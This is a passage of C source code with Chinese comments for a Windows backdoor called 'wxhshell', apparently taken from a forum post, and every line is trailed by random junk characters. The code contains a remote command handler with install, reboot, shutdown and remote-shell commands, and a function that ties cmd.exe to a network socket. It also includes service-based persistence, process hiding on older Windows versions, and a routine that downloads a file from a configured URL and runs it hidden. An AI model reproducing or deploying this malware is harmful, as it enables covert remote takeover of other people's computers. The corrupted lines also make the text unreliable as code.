  // 帮助 6PyODW;R/5  
  case '?': { P1>?crw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &4R -5i2a  
    break; b Y^K)0+^s  
  } % r>v^1Vo  
  // 安装 "k'P #v{f  
  case 'i': { lc8zF5  
    if(Install()) V[RsSZx =  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dtDT^~  
    else zHu w[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \zMx~-2oN  
    break; 5dXDL~/2p  
    } j : $Ruy  
  // 卸载 4!k 0  
  case 'r': { li7"{+ct  
    if(Uninstall()) &o]ic(74c?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &s>E~M0+J  
    else ?Tr\r1s]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }VDJ  
    break; 5xIOi(3`Q  
    } (ibj~g?U,  
  // 显示 wxhshell 所在路径 ]r\d 5  
  case 'p': { Gj ka %  
    char svExeFile[MAX_PATH]; ^2 }p%j >  
    strcpy(svExeFile,"\n\r"); 4Y `=`{Q  
      strcat(svExeFile,ExeFile); WLkfo6Nw  
        send(wsh,svExeFile,strlen(svExeFile),0); Hph$Z 1{  
    break; k0^t$J W  
    } P3op1/Np  
  // 重启 +F@ZVMp  
  case 'b': { IQNvhl.{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cI/Puh^3  
    if(Boot(REBOOT)) r' E|6_0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8^2E77s4U  
    else { dZIruZ)x  
    closesocket(wsh); X*QQVj  
    ExitThread(0); g3Z"ri~!G  
    } eX3|<Bf  
    break; 3@8Zy:[8<  
    } kl[Jt)"4@  
  // 关机 <#%kmYSL  
  case 'd': { 4E 0 Y=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3^-yw`  
    if(Boot(SHUTDOWN)) RJa1p YK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qw35LyL  
    else { tuIQiWHbM  
    closesocket(wsh); "Iu Pg=|#  
    ExitThread(0); 8d|#W  
    } +txHj(Y`  
    break; W%_Cda5,  
    } >V|KS(}s  
  // 获取shell y??^[ sB  
  case 's': { %RD%AliO}K  
    CmdShell(wsh); ]7:*A7/!.  
    closesocket(wsh); t=BXuFiu  
    ExitThread(0); :9Mqwgk,;3  
    break; )gPkL r  
  } !'f.g|a  
  // 退出 ,%4~ulKMn  
  case 'x': { W)p?cK`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r[W Ir|r7  
    CloseIt(wsh); sHn-#SGm  
    break; gl>%ADOB@  
    } ;{:bq`56f  
  // 离开 [\,Jy8t)\  
  case 'q': { V \Sl->:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a"bael  
    closesocket(wsh); #.W^7}H  
    WSACleanup(); ?f&O4H  
    exit(1); Q)L6+gW^  
    break; /pYp, ak  
        } %z "${ zw  
  } ]!'9Y}9a  
  } 7j~}M(s"  
&{z RuF  
  // 提示信息 i{2ny$55h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P`TJqJiY~  
} CEl9/"0s6  
  } G/y;o3/[Z  
E;-*LT&{  
  return; s^zX9IVnp  
} {}DoRp q=  
:{'%I#k2  
// shell模块句柄 .X;D I<K  
int CmdShell(SOCKET sock) 7L !$hk  
{ ;+(EmD:Q  
STARTUPINFO si; .g8db d  
ZeroMemory(&si,sizeof(si)); k#DMd9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mr<camL5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MCO`\"`l  
PROCESS_INFORMATION ProcessInfo; ~Sc{\ZJl  
char cmdline[]="cmd"; G^&P'*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?CSv;:  
  return 0; zn2Qp  
} wq = Ef  
V8}jFib  
// 自身启动模式 y41,T&ja  
int StartFromService(void) 5Zy%Nam'gN  
{ +XoY@|Djd  
typedef struct Un^3%=;  
{ C|-QU  
  DWORD ExitStatus; .)[0yW&  
  DWORD PebBaseAddress; . l-eJ  
  DWORD AffinityMask; b<\aJb{2  
  DWORD BasePriority; +(/' b' *  
  ULONG UniqueProcessId; N"-U)d-.  
  ULONG InheritedFromUniqueProcessId; GFfZ TA  
}   PROCESS_BASIC_INFORMATION; A?4s+A@Eg  
1;"DIsz@d  
PROCNTQSIP NtQueryInformationProcess; zY2o;-d|4  
cg).b?g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &at>sQ'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]%eyrbU  
%[WOQ.Sh  
  HANDLE             hProcess; Y0xn}:%K  
  PROCESS_BASIC_INFORMATION pbi; SI9PgC  
H C(7,3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <Wa7$hF  
  if(NULL == hInst ) return 0; \Y^GA;AMQQ  
"a=dx| Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6S&OE k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e!oL!Zg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]*TW%mY  
xV>sc;PEb  
  if (!NtQueryInformationProcess) return 0; {pz7ADK<  
J?_-Dg(=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 82KWe=  
  if(!hProcess) return 0; /4{IxQk  
vu|-}v?:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (,;4f7\  
/j"aOLL|  
  CloseHandle(hProcess); x9i^ _3Z  
q"Th\? }%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6L,"gF<n  
if(hProcess==NULL) return 0; s7"5NU-  
s}g3*_"  
HMODULE hMod; |oX1J<LM  
char procName[255]; o[B"J96b  
unsigned long cbNeeded; O~4Q:#^c  
@YHt[>*S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DsCbMs=Y  
tJ9gwx7Pg  
  CloseHandle(hProcess); ZYs?65.  
3_N1y  
if(strstr(procName,"services")) return 1; // 以服务启动 k~IRds@G  
[Y-3C47  
  return 0; // 注册表启动 0s .X  
} 1BOv|xPjZ  
Rgb&EnVW  
// 主模块 6ac_AsFK  
int StartWxhshell(LPSTR lpCmdLine) 4GG0jCNk  
{ }.N~jx0R  
  SOCKET wsl; Uc( z|  
BOOL val=TRUE; sOhKMz  
  int port=0; Y{g[LG`U  
  struct sockaddr_in door; Q9{f'B  
.tA=5 QY,  
  if(wscfg.ws_autoins) Install(); rj/1AK  
L!0}&i;u~5  
port=atoi(lpCmdLine); r;@"s g  
FE3uNfQs|  
if(port<=0) port=wscfg.ws_port; 2U& +K2  
x<1t/o  
  WSADATA data; yM# %UeZ\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N ,nvAM  
6[\1Nzy>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \JDxN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VfkQc$/  
  door.sin_family = AF_INET; L7nW_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BE)&.}l  
  door.sin_port = htons(port); MN[D)RKh;  
P#-p* 4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _@! yj  
closesocket(wsl); />2zKF?  
return 1; P1dFoQz  
} hr`,s!0Y  
y/;DA=  
  if(listen(wsl,2) == INVALID_SOCKET) { dZuPR  
closesocket(wsl); FXh*!%"*  
return 1; 8u7QF4 Id  
} 9gac7(2`)  
  Wxhshell(wsl); lY[\eQ 1:  
  WSACleanup(); Qb8Z+7  
o]@'R<F(u  
return 0; ?G 'sb}.  
K)GpQ|4:<  
} ?^WX] SAl  
5V8`-yO9  
// 以NT服务方式启动 S~U5xM^s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OlX#1W]  
{  TUq ,  
DWORD   status = 0; -q&7q  
  DWORD   specificError = 0xfffffff; X/FRe[R  
G6pR?K+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V)]lca  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +do* C =z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RmJ|g<  
  serviceStatus.dwWin32ExitCode     = 0; J~)JsAXAI  
  serviceStatus.dwServiceSpecificExitCode = 0; uvJmEBL:  
  serviceStatus.dwCheckPoint       = 0; V\=%u<f  
  serviceStatus.dwWaitHint       = 0; py$i{v%  
xtK}XEhG!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6\USeZh  
  if (hServiceStatusHandle==0) return; @?5pY^>DK  
11RqP:zg  
status = GetLastError(); L'O=;C"f  
  if (status!=NO_ERROR) eN0lJ~  
{ ?;GXFKy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; oF_ '<\ly=  
    serviceStatus.dwCheckPoint       = 0; ;i!$rL  
    serviceStatus.dwWaitHint       = 0; Z_s]2y1  
    serviceStatus.dwWin32ExitCode     = status; F%$l cQ04%  
    serviceStatus.dwServiceSpecificExitCode = specificError; F`CDv5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  `l  
    return; dQ Lo,S8(  
  } Kl]l[!c7$  
\qJ cs'D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; # blh9.V&F  
  serviceStatus.dwCheckPoint       = 0; pV*d"~T  
  serviceStatus.dwWaitHint       = 0; @ 1FWBH~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jQ['f\R  
} [ nLd>2P  
oxLO[js  
// 处理NT服务事件,比如:启动、停止 x LGMN)@r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rge s`&0  
{ 0s6eF+bs  
switch(fdwControl) /4$ c-k  
{ 1w#vy1m J  
case SERVICE_CONTROL_STOP: Y4N)yMSl"  
  serviceStatus.dwWin32ExitCode = 0; M$e$%kPShE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #M<u^$Jz  
  serviceStatus.dwCheckPoint   = 0; !}q@O-}j  
  serviceStatus.dwWaitHint     = 0; AmK g;9LS  
  { k#G+<7c<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *~^%s +b  
  } rBZ00}  
  return; vy5I#q(k  
case SERVICE_CONTROL_PAUSE: g{JH5IZ~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [6)vD@  
  break; 99~ZZG  
case SERVICE_CONTROL_CONTINUE: QB*n [(?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U["IXR#  
  break; e?WI=Og  
case SERVICE_CONTROL_INTERROGATE: P_(< ?0l  
  break; {6iHUK   
}; n1)].`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0>:`|IGnT2  
} lHO.pN`2  
jV' tcFr4  
// 标准应用程序主函数 caZEZk#r;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GK&R.R]  
{ CJ[e^K{  
qWJa p-hb  
// 获取操作系统版本 {'cdi`  
OsIsNt=GetOsVer(); %:y"o_X_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d.k'\1o  
&Q t1~#1  
  // 从命令行安装 R^rA.7T  
  if(strpbrk(lpCmdLine,"iI")) Install(); ).jna`A,  
iOiXo6YE  
  // 下载执行文件 cq9d;~q  
if(wscfg.ws_downexe) { |UN#utw{^Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A/.z. K  
  WinExec(wscfg.ws_filenam,SW_HIDE); >Sm#-4B-  
} Ca0t}`<S  
i8.OM*[f  
if(!OsIsNt) { }R`}Ey|{  
// 如果时win9x,隐藏进程并且设置为注册表启动 '8b=4mrbH  
HideProc(); hroRDD   
StartWxhshell(lpCmdLine); F8B:P7I  
} 8},fu3Z  
else JB HnJm  
  if(StartFromService()) r6 L  
  // 以服务方式启动 !%QbE[Kl>  
  StartServiceCtrlDispatcher(DispatchTable); Tx/KL%X  
else !={QL:  
  // 普通方式启动 ]% UAN_T  
  StartWxhshell(lpCmdLine); n yNHjn |W  
jyC>~}?  
return 0; hcQv!!Q"k$  
}
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只看该作者 1 发表于: 2006-10-10
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